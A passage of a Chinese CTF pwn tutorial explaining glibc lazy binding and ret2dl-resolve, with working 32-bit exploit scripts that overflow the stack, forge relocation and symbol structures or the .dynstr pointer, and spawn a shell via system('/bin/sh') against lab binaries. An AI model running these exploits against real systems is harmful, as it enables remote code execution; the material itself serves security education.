Linux pwn入門教程(10)——針對函數重定位流程的幾種攻擊


作者:Tangerine@SAINTSEC

本系列的最后一篇 感謝各位看客的支持 感謝原作者的付出
一直以來都有讀者向筆者咨詢教程系列問題,奈何該系列並非筆者所寫[筆者僅為代發]且筆者功底薄弱,故無法解答,望見諒
如有關於該系列教程的疑問建議聯系論壇的原作者ID:Tangerine

0x00 got表、plt表與延遲綁定

在之前的章節中,我們無數次提到過got表和plt表這兩個結構。這兩個表有什么不同?為什么調用函數要經過這兩個表?ret2dl-resolve與這些內容又有什么關系呢?本節我們將通過調試和“考古”來回答這些問題。
我們先選擇程序~/XMAN 2016-level3/level3進行實驗。這個程序在main函數中和vulnerable_function中都調用了write函數,我們分別在兩個call _write和一個call _read上下斷點,調試觀察發生了什么。
調試 啟動后程序斷在第一個call _write

此時我們按F7跟進函數,發現EIP跳到了.plt表上,從旁邊的箭頭我們可以看到這個jmp指向了后面的push 18h; jmp loc_8048300

我們繼續F7執行到jmp loc_8048300發生跳轉,發現這邊又是一個push和一個jmp,這段代碼也在.plt上。

同樣的,我們直接執行到jmp執行完,發現程序跳轉到了ld_2.24.so上,這個地址是loc_F7F5D010

到這里,有些人可能已經發現了不對勁。剛剛的指令明明是jmp ds:off_804a008,這個F7F5D010是從哪里冒出來的呢?其實這行jmp的意思並不是跳轉到地址0x0804a008執行代碼,而是跳轉到地址0x0804a008中保存的地址處。同理,一開始的jmp ds:off_804a018也不是跳轉到地址0x0804a018.OK,我們來看一下這兩個地址里保存了什么。

回到call _write F7跟進后的那張圖,跟進后的第一條指令是jmp ds:off_804a018,這個地址位於.got.plt中。我們看到其保存的內容是loc_8048346,后面還跟着一個DATA XREF:_write↑r. 說明這是一個跟write函數相關的代碼引用的這個地址,上面的有一個同樣的read也說明了這一點。而jmp ds:0ff_804a008也是跳到了0x0804a008保存的地址loc_F7F5D010處。
回到剛剛的eip,我們繼續F8單步往下走,執行到retn 0Ch,繼續往下執行就到了write函數的真正地址


現在我們可以歸納出call write的執行流程如下圖:

然后我們F9到斷在call _read,發現其流程也和上圖差不多,唯一的區別在於addr1和push num中的數字不一樣,call _read時push的數字是0

接下來我們讓程序執行到第二個call _write,F7跟進后發現jmp ds:0ff_804a018旁邊的箭頭不再指向下面的push 18h

我們查看.got.plt,發現其內容已經直接變成了write函數在內存中的真實地址。

由此我們可以得出一個結論,只有某個庫函數第一次被調用時才會經歷一系列繁瑣的過程,之后的調用會直接跳轉到其對應的地址。那么程序為什么要這么設計呢?
要想回答這個問題,首先我們得從動態鏈接說起。為了減少存儲器浪費,現代操作系統支持動態鏈接特性。即不是在程序編譯的時候就把外部的庫函數編譯進去,而是在運行時再把包含有對應函數的庫加載到內存里。由於內存空間有限,選用函數庫的組合無限,顯然程序不可能在運行之前就知道自己用到的函數會在哪個地址上。比如說對於libc.so來說,我們要求把它加載到地址0x1000處,A程序只引用了libc.so,從理論上來說這個要求不難辦到。但是對於用了liba,so, libb.so, libc.so……liby.so, libz.so的B程序來說,0x1000這個地址可能就被liba.so等庫占據了。因此,程序在運行時碰到了外部符號,就需要去找到它們真正的內存地址,這個過程被稱為重定位。為了安全,現代操作系統的設計要求代碼所在的內存必須是不可修改的,那么諸如call read一類的指令即沒辦法在編譯階段直接指向read函數所在地址,又沒辦法在運行時修改成read函數所在地址,怎么保證CPU在運行到這行指令時能正確跳到read函數呢?這就需要got表(Global Offset Table,全局偏移表)和plt表(Procedure Linkage Table,過程鏈接表)進行輔助了。
正如我們剛剛分析過的流程,在延遲加載的情況下,每個外部函數的got表都會被初始化成plt表中對應項的地址。當call指令執行時,EIP直接跳轉到plt表的一個jmp,這個jmp直接指向對應的got表地址,從這個地址取值。此時這個jmp會跳到保存好的,plt表中對應項的地址,在這里把每個函數重定位過程中唯一的不同點,即一個數字入棧(本例子中write是18h,read是0,對於單個程序來說,這個數字是不變的),然后push got[1]並跳轉到got[2]保存的地址。在這個地址中對函數進行了重定位,並且修改got表為真正的函數地址。當第二次調用同一個函數的時候,call仍然使EIP跳轉到plt表的同一個jmp,不同的是這回從got表取值取到的是真正的地址,從而避免重復進行重定位。

0x01 符號解析的過程中發生了什么?

我們通過調試已經大概搞清楚got表,plt表和重定位的流程了,但是作為一名攻擊者來說,只了解這些東西並不夠。ret2dl-resolve的核心原理是攻擊符號重定位流程,使其解析庫中存在的任意函數地址,從而實現got表的劫持。為了完成這一目標,我們就必須得深入符號解析的細節,尋找整個解析流程中的潛在攻擊點。我們可以在https://ftp.gnu.org/gnu/glibc/下載到glibc源碼,這里我用了glibc-2.27版本的源碼。
我們回到程序跳轉到ld_2.24.so的部分,這一段的源碼是用匯編實現的,源碼路徑為glibc/sysdeps/i386/dl-trampoline.S(64位把i386改為x86_64),其主要代碼如下:

        .text
                .globl _dl_runtime_resolve
                .type _dl_runtime_resolve, @function                 cfi_startproc                 .align 16         _dl_runtime_resolve:                 cfi_adjust_cfa_offset (8)                 pushl %eax                # Preserve registers otherwise clobbered.                 cfi_adjust_cfa_offset (4)                 pushl %ecx                 cfi_adjust_cfa_offset (4)                 pushl %edx                 cfi_adjust_cfa_offset (4)                 movl 16(%esp), %edx        # Copy args pushed by PLT in register.  Note                 movl 12(%esp), %eax        # that `fixup' takes its parameters in regs.                 call _dl_fixup                # Call resolver.                 popl %edx                # Get register content back.                 cfi_adjust_cfa_offset (-4)                 movl (%esp), %ecx                 movl %eax, (%esp)        # Store the function address.                 movl 4(%esp), %eax                 ret $12                        # Jump to function address.                 cfi_endproc                 .size _dl_runtime_resolve, .-_dl_runtime_resolve

其采用了GNU風格的語法,可讀性比較差,我們對應到IDA中的反匯編結果中修正符號如下

_dl_fixup的實現位於glibc/elf/dl-runtime.c,我們首先來看一下函數的參數列表

_dl_fixup (
# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS            ELF_MACHINE_RUNTIME_FIXUP_ARGS, # endif            struct link_map *__unbounded l, ElfW(Word) reloc_arg)

忽略掉宏定義部分,我們可以看到_dl_fixup接收兩個參數,link_map類型的指針l對應了push進去的got[1]reloc_arg對應了push進去的數字。由於link_map *都是一樣的,不同的函數差別只在於reloc_arg部分。我們繼續追蹤reloc_arg這個參數的流向。
如果你真的閱讀了源碼,你會發現這個函數里頭找不到reloc_arg,那么這個參數是用不着了嗎?不是的,我們往上面看,會看到一個宏定義

#ifndef reloc_offset # define reloc_offset reloc_arg # define reloc_index  reloc_arg / sizeof (PLTREL) #endif reloc_offset在函數開頭聲明變量時出現了。   const ElfW(Sym) *const symtab     = (const void *) D_PTR (l, l_info[DT_SYMTAB]);   const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);   const PLTREL *const reloc     = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);   const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];   const ElfW(Sym) *refsym = sym;   void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);   lookup_t result;   DL_FIXUP_VALUE_TYPE value;

D_PTR是一個宏定義,位於glibc/sysdeps/generic/ldsodefs.h中,用於通過link_map結構體尋址。這幾行代碼分別是尋找並保存symtab, strtab的首地址和利用參數reloc_offset尋找對應的PLTREL結構體項,然后會利用這個結構體項reloc尋找symtab中的項sym和一個rel_addr.我們先來看看這個結構體的定義。這個結構體定義在glibc/elf/elf.h中,32位下該結構體為

typedef struct {   Elf32_Addr        r_offset;                /* Address */   Elf32_Word        r_info;                        /* Relocation type and symbol index */ } Elf32_Rel;

這個結構體中有兩個成員變量,其中r_offset參與了初始化變量rel_addr,這個變量在_dl_fixup的最后return處作為函數elf_machine_fixup_plt的參數傳入,r_offset實際上就是函數對應的got表項地址。另一個參數r_info參與了初始化變量sym和一些校驗,而sym和其成員變量會作為參數傳遞給函數_dl_lookup_symbol_x和宏DL_FIXUP_MAKE_VALUE中,顯然我們必須關注一下它。不過首先我們得看一下reloc->r_info參與的其他部分代碼。
首先我們看到這么一行代碼

 assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);

這行代碼用了一大堆宏,ELFW宏用來拼接字符串,在這里實際上是為了自動兼容32和64位,R_TYPE和前面出現過的R_SYM定義如下:

#define ELF32_R_SYM(i) ((i)>>8) #define ELF32_R_TYPE(i) ((unsigned char)(i)) #define ELF32_R_INFO(s, t) (((s)<<8) + (unsigned char)(t)) 所以這一行代碼取reloc->r_info的最后一個字節,判斷是否為ELF_MACHINE_JMP_SLOT,即7.我們繼續往下看       if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)         {           const ElfW(Half) *vernum =             (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);           ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;           version = &l->l_versions[ndx];           if (version->hash == 0)             version = NULL;         }

這段代碼使用reloc->r_info最終給version進行了賦值,這里我們可以看出reloc->r_info的高24位異常可能導致ndx數值異常,進而在version = &l->l_versions[ndx]時可能會引起數組越界從而使程序崩潰。
看完了這一段,我們回頭看一下變量sym, sym同樣使用了ELFW(R_SYM)(reloc->r_info)作為下標進行賦值。

const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];

Elfw(Sym)會被處理成Elf32_Sym,定義在glibc/elf/elf.h,結構體如下:

typedef struct {   Elf32_Word        st_name;                /* Symbol name (string tbl index) */   Elf32_Addr        st_value;                /* Symbol value */   Elf32_Word        st_size;                /* Symbol size */   unsigned char        st_info;                /* Symbol type and binding */   unsigned char        st_other;                /* Symbol visibility */   Elf32_Section        st_shndx;                /* Section index */ } Elf32_Sym;

這里面的成員變量st_other和st_name都被用到了

  if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)     {       ………………       result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,                                     version, ELF_RTYPE_CLASS_PLT, flags, NULL);           ……………… }

這里省略了部分代碼,我們可以從函數名判斷出,只有這個if成立,真正進行重定位的函數_dl_lookup_symbol_x才會被執行。ELFW(ST_VISIBILITY)會被解析成宏定義

define ELF32_ST_VISIBILITY(o)        ((o) & 0x03)

位於glibc/elf/elf.h,所以我們得知這邊的sym->st_other后兩位必須為0。
我們可以看到傳入_dl_lookup_symbol_x函數的參數中,第一個參數為strtab+sym->st_name,第三個參數是sym指針的引用。strtab在函數的開頭已經賦值為strtab的首地址,查閱資料可知strtab是ELF文件中的一個字符串表,內容包括了.symtab和.debug節的符號表等等。我們根據readelf給出的偏移來看一下這個表。


可以看到這里面是有read、write、__libc_start_main等函數的名字的。那么函數_dl_lookup_symbol_x為什么要接收這個名字呢?我們進入這個函數,發現這個函數的代碼有點多。考慮到我們關心的是重定位過程中不同的reloc_arg是如何影響函數的重定位的,我們在此不分析其細節。

_dl_lookup_symbol_x (const char *undef_name, struct link_map *undef_map,                      const ElfW(Sym) **ref,                      struct r_scope_elem *symbol_scope[],                      const struct r_found_version *version,                      int type_class, int flags, struct link_map *skip_map) {   const uint_fast32_t new_hash = dl_new_hash (undef_name);   unsigned long int old_hash = 0xffffffff;   struct sym_val current_value = { NULL, NULL };   .............   /* Search the relevant loaded objects for a definition.  */   for (size_t start = i; *scope != NULL; start = 0, ++scope)     {       int res = do_lookup_x (undef_name, new_hash, &old_hash, *ref,                              ¤t_value, *scope, start, version, flags,                              skip_map, type_class, undef_map);       if (res > 0)         break;       if (__glibc_unlikely (res < 0) && skip_map == NULL)         {           /* Oh, oh.  The file named in the relocation entry does not              contain the needed symbol.  This code is never reached              for unversioned lookups.  */           assert (version != NULL);           const char *reference_name = undef_map ? undef_map->l_name : "";           struct dl_exception exception;           /* XXX We cannot translate the message.  */           _dl_exception_create_format             (&exception, DSO_FILENAME (reference_name),              "symbol %s version %s not defined in file %s"              " with link time reference%s",              undef_name, version->name, version->filename,              res == -2 ? " (no version symbols)" : "");           _dl_signal_cexception (0, &exception, N_("relocation error"));           _dl_exception_free (&exception);           *ref = NULL;           return 0;         }     ............... }

我們看到函數名字會被計算hash,這個hash會傳遞給do_lookup_x,從函數名和下面對分支的注釋我們可以看出來do_lookup_x才是真正進行重定位的函數,而且其返回值res大於0說明尋找到了函數的地址。我們繼續進入do_lookup_x,發現其主要是使用用strtab + sym->st_name計算出來的參數new_hash進行計算,與strtab + sym->st_name,sym等並沒有什么關系。對比do_lookup_x的參數列表和傳入的參數,我們可以發現其結果保存在current_value中。

do_lookup_x:
static int __attribute_noinline__ do_lookup_x (const char *undef_name, uint_fast32_t new_hash,              unsigned long int *old_hash, const ElfW(Sym) *ref,              struct sym_val *result, struct r_scope_elem *scope, size_t i,              const struct r_found_version *const version, int flags,              struct link_map *skip, int type_class, struct link_map *undef_map) _dl_lookup_symbol_x: int res = do_lookup_x (undef_name, new_hash, &old_hash, *ref,                              ¤t_value, *scope, start, version, flags,                              skip_map, type_class, undef_map);

至此,我們已經分析完了reloc_arg對函數重定位的影響,我們用下面這張圖總結一下整個影響過程:

我們以write函數為例進行調試分析,write的reloc_arg是0x18

使用readelf查看程序信息,找到JMPREL在0x080482b0

事實上該信息存儲在.rel.plt節里

我們找到這塊內存,按照結構體格式解析數據,可知r->offset = 0x0804a018 , r->info=407,與readelf顯示的.rel.plt數據吻合。


所以是symtab的第四項,我們可以通過#include<elf.h>導入該結構體后使用sizeof算出Elf32_Sym大小為0x10,通過上面readelf顯示的節頭信息我們發現symtab並不會映射到內存中,可是重定位是在運行過程中進行的,顯然在內存中會有相關數據,這就產生了矛盾。通過查閱資料我們可以得知其實symtab有個子集dymsym,在節頭表中顯示其位於080481cc

對照結構體,st_name是0x31,接下來我們去strtab找,同樣的,strtab也有個子集dynstr,地址在0804822c.加上0x31后為0804825d

0x02 32位下的ret2dl-resolve

通過一系列冗長的源碼閱讀+調試分析,我們捋了一遍符號重定位的流程,現在我們要站在攻擊者的角度看待這個流程了。從上面的分析結果中我們知道其實最終影響解析的是函數的名字,那么如果我們強行把write改成system呢?我們來試一下。

我們強行修改內存數據,然后繼續運行,發現劫持got表成功,此時write表項是system的地址。

那么我們是不是可以修改dynstr里面的數據呢?通過查看內存屬性,我們很不幸地發現.rel.plt. .dynsym .dynstr所在的內存區域都不可寫。

這樣一來,我們能夠改變的就只有reloc_arg了。基於上面的分析,我們的思路是在內存中偽造Elf32_Rel和Elf32_Sym兩個結構體,並手動傳遞reloc_arg使其指向我們偽造的結構體,讓Elf32_Sym.st_name的偏移值指向預先放在內存中的字符串system完成攻擊。為了地址可控,我們首先進行棧劫持並跳轉到0x0804834B

為此我們必須在bss段構造一個新的棧,以便棧劫持完成后程序不會崩潰。ROP鏈如下:

#!/usr/bin/python #coding:utf-8 from pwn import * context.update(os = 'linux', arch = 'i386') start_addr = 0x08048350 read_plt = 0x08048310 write_plt = 0x08048340 write_plt_without_push_reloc_arg = 0x0804834b leave_ret = 0x08048482 pop3_ret = 0x08048519 pop_ebp_ret = 0x0804851b new_stack_addr = 0x0804a200                                                        #bss與got表相鄰,_dl_fixup中會降低棧后傳參,設置離bss首地址遠一點防止參數寫入非法地址出錯 io = remote('172.17.0.2', 10001) payload = "" payload += 'A'*140                                                                        #padding payload += p32(read_plt)                                                        #調用read函數往新棧寫值,防止leave; retn到新棧后出現ret到地址0上導致出錯 payload += p32(pop3_ret)                                                        #read函數返回后從棧上彈出三個參數 payload += p32(0)                                                                        #fd = 0 payload += p32(new_stack_addr)                                                #buf = new_stack_addr payload += p32(0x400)                                                                        #size = 0x400 payload += p32(pop_ebp_ret)                                                        #把新棧頂給ebp,接下來利用leave指令把ebp的值賦給esp payload += p32(new_stack_addr)                                 payload += p32(leave_ret) io.send(payload)                                                                        #此時程序會停在我們使用payload調用的read函數處等待輸入數據 payload = "" payload += "AAAA"                                                                        #leave = mov esp, ebp; pop ebp,占位用於pop ebp payload += p32(write_plt_without_push_reloc_arg)        #按照我們的測試方案,強制程序對write函數重定位,reloc_arg由我們手動放入棧中 payload += p32(0x18)                                                                #手動傳遞write的reloc_arg,調用write payload += p32(start_addr)                                                        #函數執行完后返回start payload += p32(1)                                                                        #fd = 1 payload += p32(0x08048000)                                                        #buf = ELF程序加載開頭,write會輸出ELF payload += p32(4)                                                                        #size = 4 io.send(payload)

測試結果:

我們可以看到調用成功了。我們發現其實跳轉到write_plt_without_push_reloc_arg上,還是會直接跳轉到PLT[0],所以我們可以把這個地址改成PLT[0]的地址。

接下來我們開始着手在新的棧上偽造兩個結構體:

write_got = 0x0804a018         new_stack_addr = 0x0804a500                        #bss與got表相鄰,_dl_fixup中會降低棧后傳參,設置離bss首地址遠一點防止參數寫入非法地址出錯 relplt_addr = 0x080482b0                        #.rel.plt的首地址,通過計算首地址和新棧上我們偽造的結構體Elf32_Rel偏移構造reloc_arg dymsym_addr = 0x080481cc                        #.dynsym的首地址,通過計算首地址和新棧上我們偽造的Elf32_Sym結構體偏移構造Elf32_Rel.r_info dynstr_addr = 0x0804822c                        #.dynstr的首地址,通過計算首地址和新棧上我們偽造的函數名字符串system偏移構造Elf32_Sym.st_name fake_Elf32_Rel_addr = new_stack_addr + 0x50        #在新棧上選擇一塊空間放偽造的Elf32_Rel結構體,結構體大小為8字節 fake_Elf32_Sym_addr = new_stack_addr + 0x5c        #在偽造的Elf32_Rel結構體后面接上偽造的Elf32_Sym結構體,結構體大小為0x10字節 binsh_addr = new_stack_addr + 0x74                        #把/bin/sh\x00字符串放在最后面 fake_reloc_arg = fake_Elf32_Rel_addr - relplt_addr        #計算偽造的reloc_arg fake_r_info = ((fake_Elf32_Sym_addr - dymsym_addr)/0x10) << 8 | 0x7 #偽造r_info,偏移要計算成下標,除以Elf32_Sym的大小,最后一字節為0x7 fake_st_name = new_stack_addr + 0x6c - dynstr_addr                #偽造的Elf32_Sym結構體后面接上偽造的函數名字符串system fake_Elf32_Rel_data = "" fake_Elf32_Rel_data += p32(write_got)                                        #r_offset = write_got,以免重定位完畢回填got表的時候出現非法內存訪問錯誤 fake_Elf32_Rel_data += p32(fake_r_info) fake_Elf32_Sym_data = "" fake_Elf32_Sym_data += p32(fake_st_name) fake_Elf32_Sym_data += p32(0)                                                        #后面的數據直接套用write函數的Elf32_Sym結構體,具體成員變量含義自行搜索 fake_Elf32_Sym_data += p32(0) fake_Elf32_Sym_data += p32(0x12)

我們把新棧的地址向后調整了一點,因為在調試深入到_dl_fixup的時候發現某行指令試圖對got表寫入,而got表正好就在bss的前面,緊接着bss,為了防止運行出錯,我們進行了調整。此外,需要注意的是偽造的兩個結構體都要與其首地址保持對齊。完成了結構體偽造之后,我們將這些內容放在新棧中,調試的時候確認整個偽造的鏈條正確,pwn it!

0x03 64位下的ret2dl-resolve

與32位不同,在64位下,雖然_dl_fixup函數的邏輯沒有改變,但是許多相關的變量和結構體都有了變化。例如在glibc/sysdeps/x86_64/dl-runtime.c中定義了
reloc_offset和reloc_index

#define reloc_offset reloc_arg * sizeof (PLTREL) #define reloc_index  reloc_arg #include <elf/dl-runtime.c>

我們可以可以推斷出reloc_arg已經不像32位中是作為一個偏移值存在,而是作為一個數組下標存在。此外,兩個關鍵的結構體也做出了調整:Elf32_Rel升級為Elf64_Rela, Elf32_Sym升級為Elf64_Sym,這兩個結構體的大小均為0x18

typedef struct {   Elf64_Addr        r_offset;                /* Address */   Elf64_Xword        r_info;                        /* Relocation type and symbol index */   Elf64_Sxword        r_addend;                /* Addend */ } Elf64_Rela; typedef struct {   Elf64_Word        st_name;                /* Symbol name (string tbl index) */   unsigned char        st_info;                /* Symbol type and binding */   unsigned char st_other;                /* Symbol visibility */   Elf64_Section        st_shndx;                /* Section index */   Elf64_Addr        st_value;                /* Symbol value */   Elf64_Xword        st_size;                /* Symbol size */ } Elf64_Sym;

此外,_dl_runtime_resolve的實現位於glibc/sysdeps/x86_64/dl-trampoline.h中,其代碼加了宏定義之后可讀性很差,核心內容仍然是調用_dl_fixup,此處不再分析。
最后,在64位下進行ret2dl-resolve還有一個問題,即我們在分析源碼時提到但是應用中卻忽略的一個潛在數組越界:

      if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)         {           const ElfW(Half) *vernum =             (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);           ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;           version = &l->l_versions[ndx];           if (version->hash == 0)             version = NULL;         }

這里會使用reloc->r_info的高位作為下標產生了ndx,然后在link_map的成員數組變量l_versions中取值作為version。為了在偽造的時候正確定位到sym,r_info必然會較大。在32位的情況下,由於程序的映射較為緊湊, reloc->r_info的高24位導致vernum數組越界的情況較少。由於程序映射的原因,vernum數組首地址后面有大片內存都是以0x00填充,攻擊導致reloc->r_info的高24位過大后從vernum數組中獲取到的ndx有很大概率是0,從而由於ndx異常導致l_versions數組越界的幾率也較低。我們可以對照源碼,IDA調試進入_dl_fixup后,將斷點下在if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)附近。

中斷后切換到匯編

單步運行到movzx edx, word ptr [edx+esi*2]一行

觀察edx的值,此處為0x0804827c, edx+esi*2 = 0x08048284,查看程序的內存映射情況

一直到地址0x0804b000都是可讀的,所以esi,也就是reloc->r_info的高24位最高可以達到0x16c2,考慮到.dymsym與.bss的間隔,這個允許范圍基本夠用。繼續往下看

此時的edi = 0xf7fa9918,[edi+170h]保存的值為0Xf7f7eb08,其后連續可讀的地址最大值為0xf7faa000,因此mov ecx, [edx+4]一行,按照之前幾行匯編代碼的算法,只要取出的edx值不大於(0xf7faa000-0xf7f7eb08)/0x10 = 0x2b4f,version = &l->l_versions[ndx];就不會產生非法內存訪問。仔細觀察會發現0x0804827c~0x0804b000之間幾乎所有的2字節word型數據都符合要求。因此,大部分情況下32位的題目很少會產生ret2dl-resolve在此處造成的段錯誤。
而對於64位,我們用相同的方法調試本節的例子~/XMAN 2016-level3_64/level3_64會發現由於我們常用的bss段被映射到了0x600000之后,而dynsym的地址仍然在0x400000附近,r_info的高位將會變得很大,再加上此時vernum也在0x400000附近,vernum[ELFW(R_SYM) (reloc->r_info)]將會有很大概率落在在0x400000~0x600000間的不可讀區域

從而產生一個段錯誤。為了防止出現這個錯誤,我們需要修改判斷流程,使得l->l_info[VERSYMIDX (DT_VERSYM)]為0,從而繞開這塊代碼。而l->l_info[VERSYMIDX (DT_VERSYM)]在64位中的位置就是link_map+0x1c8(對應的,32位下為link_map+0xe4),所以我們需要泄露link_map地址並將link_map置為0
64位下的ret2dl-resolve與32位下的ret2dl-resolve除了上述一些變化之外,exp構造流程並沒有什么區別,在此處不再贅述,詳細腳本可見於附件。
理論上來說,ret2dl-resolve對於所有存在棧溢出,沒有Full RELRO(如果開啟了Full RELRO,所有符號將會在運行時被全部解析,也就不存在_dl_fixup了)且有一個已知確定的棧地址(可以通過stack pivot劫持棧到已知地址)的程序都適用。但是我們從上面的64位ret2dl-resolve中可以看到其必須泄露link_map的地址才能完成利用,對於32位程序來說也可能出現同樣的問題。如果出現了不存在輸出的棧溢出程序,我們就沒辦法用這種套路了,那我們該怎么辦呢?接下來的幾節我們將介紹一些不依賴泄露的攻擊手段。

0x04 使用ROPutils簡化攻擊步驟

從上面32位和64位的攻擊腳本我們不難看出來,雖然構造payload的過程很繁瑣,但是實際上大部分代碼的格式都是固定的,我們完全可以自己把它們封裝成一個函數進行調用。當然,我們還可以當一把懶人,直接用別人寫好的庫。是的,我說的就是一個有趣的,沒有使用說明的項目ROPutils(https://github.com/inaz2/roputils)
這個python庫的作者似乎挺懶的,不僅不寫文檔,而且代碼也好幾年沒更新了。不過這並不妨礙其便利性。我們直接看代碼roputils.py,其大部分我們會用到的東西都在ROP*和FormatStr這幾個類中,不過ROPutils也提供了其他的輔助工具類和函數。當然,在本節中我們只會介紹和ret2dl-resolve相關的一些函數的用法,不做源碼分析和過多的介紹。
我們可以直接把roputils.py和自己寫的腳本放在同一個文件夾下以使用其中的功能。以~/XMAN 2016-level3/level4為例。其實我們會發現fake dl-resolve並不一定需要進行棧劫持,我們只要確保偽造的link_map所在地址已知,且地址能被作為參數傳入_dl_fixup即可。我們先來構造一個棧溢出,調用read讀取偽造的link_map到.bss中。

from roputils import * #為了防止命名沖突,這個腳本全部只使用roputils中的代碼。如果需要使用pwntools中的代碼需要在import roputils前import pwn,以使得roputils中的ROP覆蓋掉pwntools中的ROP rop = ROP('./level4')                        #ROP繼承了ELF類,下面的section, got, plt都是調用父類的方法 bss_addr = rop.section('.bss') read_got = rop.got('read') read_plt = rop.plt('read') offset = 140 io = Proc(host = '172.17.0.2', port = 10001)        #roputils中這里需要顯式指定參數名 buf = rop.fill(offset)                        #fill用於生成填充數據 buf += rop.call(read_plt, 0, bss_addr, 0x100)        #call可以通過某個函數的plt地址方便地進行調用 buf += rop.dl_resolve_call(bss_addr+0x20, bss_addr)        #dl_resolve_call有一個參數base和一個可選參數列表*args。base為偽造的link_map所在地址,*args為要傳遞給被劫持調用的函數的參數。這里我們將"/bin/sh\x00"放置在bss_addr處,link_map放置在bss_addr+0x20處 io.write(buf) 然后我們直接用dl_resolve_data生成偽造的link_map並發送 buf = rop.string('/bin/sh')                buf += rop.fill(0x20, buf)                #如果fill的第二個參數被指定,相當於將第二個參數命名的字符串填充至指定長度 buf += rop.dl_resolve_data(bss_addr+0x20, 'system')        #dl_resolve_data的參數也非常簡單,第一個參數是偽造的link_map首地址,第二個參數是要偽造的函數名 buf += rop.fill(0x100, buf) io.write(buf)

然后我們直接使用io.interact(0)就可以打開一個shell了。

關於roputils的用法可以參考其github倉庫中的examples,其他練習程序不再提供對應的roputils寫法的腳本。

0x05 在.dynamic節中偽造.dynstr節地址

在32位的ret2dl-resolve一節中我們已經發現,ELF開發小組為了安全,設置.rel.plt. .dynsym .dynstr三個重定位相關的節區均為不可寫。然而ELF文件中有一個.dynamic節,其中保存了動態鏈接器所需要的基本信息,而我們的.dynstr也屬於這些基本信息中的一個。

更棒的是,如果一個程序沒有開啟RELRO(即checksec顯示No RELRO).dynamic節是可寫的。(Partial RELRO和Full RELRO會在程序加載完成時設置.dynamic為不可寫,因此盡管readelf顯示其為可寫也不可相信)


.dynamic節中只包含Elf32/64_Dyn結構體類型的數據,這兩個結構體定義在glibc/elf/elf.h下

typedef struct {   Elf32_Sword        d_tag;                        /* Dynamic entry type */   union     {       Elf32_Word d_val;                        /* Integer value */       Elf32_Addr d_ptr;                        /* Address value */     } d_un; } Elf32_Dyn; typedef struct {   Elf64_Sxword        d_tag;                        /* Dynamic entry type */   union     {       Elf64_Xword d_val;                /* Integer value */       Elf64_Addr d_ptr;                        /* Address value */     } d_un; } Elf64_Dyn;

從結構體的定義我們可以看出其由一個d_tag和一個union類型組成,union中的兩個變量會隨着不同的d_tag進行切換。我們通過readelf看一下.dynstr的d_tag

其標記為0x05,union變量顯示為值0x0804820c。我們看一下內存中.dynamic節中.dynstr對應的Elf32_Dyn結構體和指針指向的數據。


因此,我們只需要在棧溢出后程序中仍然存在至少一個未執行過的函數,我們就可以修改.dynstr對應結構體中的地址,從而使其指向我們偽造的.dynstr數據,進而在解析的時候解析出我們想要的函數。
我們以32位的程序為例,打開~/fake_dynstr32/fake_dynstr32


這個程序滿足了我們需要的一切條件——No RELRO,棧溢出發生在vuln中,exit不會被調用,因此我們可以用上述方法進行攻擊。首先我們把所有的字符串從里面拿出來,並且把exit替換成system

call_exit_addr = 0x08048495
read_plt = 0x08048300
start_addr = 0x08048350
dynstr_d_ptr_address = 0x080496a4
fake_dynstr_address = 0x08049800
fake_dynstr_data = "\x00libc.so.6\x00_IO_stdin_used\x00system\x00\x00\x00\x00\x00\x00read\x00__libc_start_main\x00__gmon_start__\x00GLIBC_2.0\x00"

注意由於memset的一部分也會被system覆蓋掉,我們應該把剩余的部分設置為\x00,防止后面的符號偏移值錯誤。memset由於是在read函數運行之前運行的,所以它的符號已經沒用了,可以被覆蓋掉。
接下來我們構造ROP鏈依次寫入偽造的dynstr字符串和其保存在Elf32_Dyn中的地址。

io = remote("172.17.0.2", 10001) payload = "" payload += 'A'*22                                                #padding payload += p32(read_plt)                                #修改.dynstr對應的Elf32_Dyn.d_ptr payload += p32(start_addr)                                 payload += p32(0)                                                 payload += p32(dynstr_d_ptr_address)         payload += p32(4)                                                 io.send(payload) sleep(0.5) io.send(p32(fake_dynstr_address))                #新的.dynstr地址 sleep(0.5) payload = "" payload += 'A'*22                                                #padding payload += p32(read_plt)                                #在內存中偽造一塊.dynstr字符串 payload += p32(start_addr)                                 payload += p32(0)                payload += p32(fake_dynstr_address) payload += p32(len(fake_dynstr_data)+8)        #長度是.dynstr加上8,把"/bin/sh\x00"接在后面 io.send(payload) sleep(0.5) io.send(fake_dynstr_data+"/bin/sh\x00")        #把/bin/sh\x00接在后面 sleep(0.5)

此時還剩下函數exit未被調用,我們通過前面的步驟偽造了.dynstr,將其中的exit改成了system,因此根據_dl_fixup的原理,此時函數將會解析system的首地址並返回到system上。

64位下的利用方式與32位下並沒有區別,此處不再進行詳細分析。

0x06 fake link_map

由於各種保護方式的普及,現在能碰到No RELRO的程序已經很少了,因此上節所述的攻擊方式能用上的機會並不多,所以這節我們介紹另外一種方式——通過偽造link_map結構體進行攻擊。
在前面的源碼分析中,我們主要把目光集中在未解析過的函數在_dl_fixup的流程中而忽略了另外一個分支。

_dl_fixup (
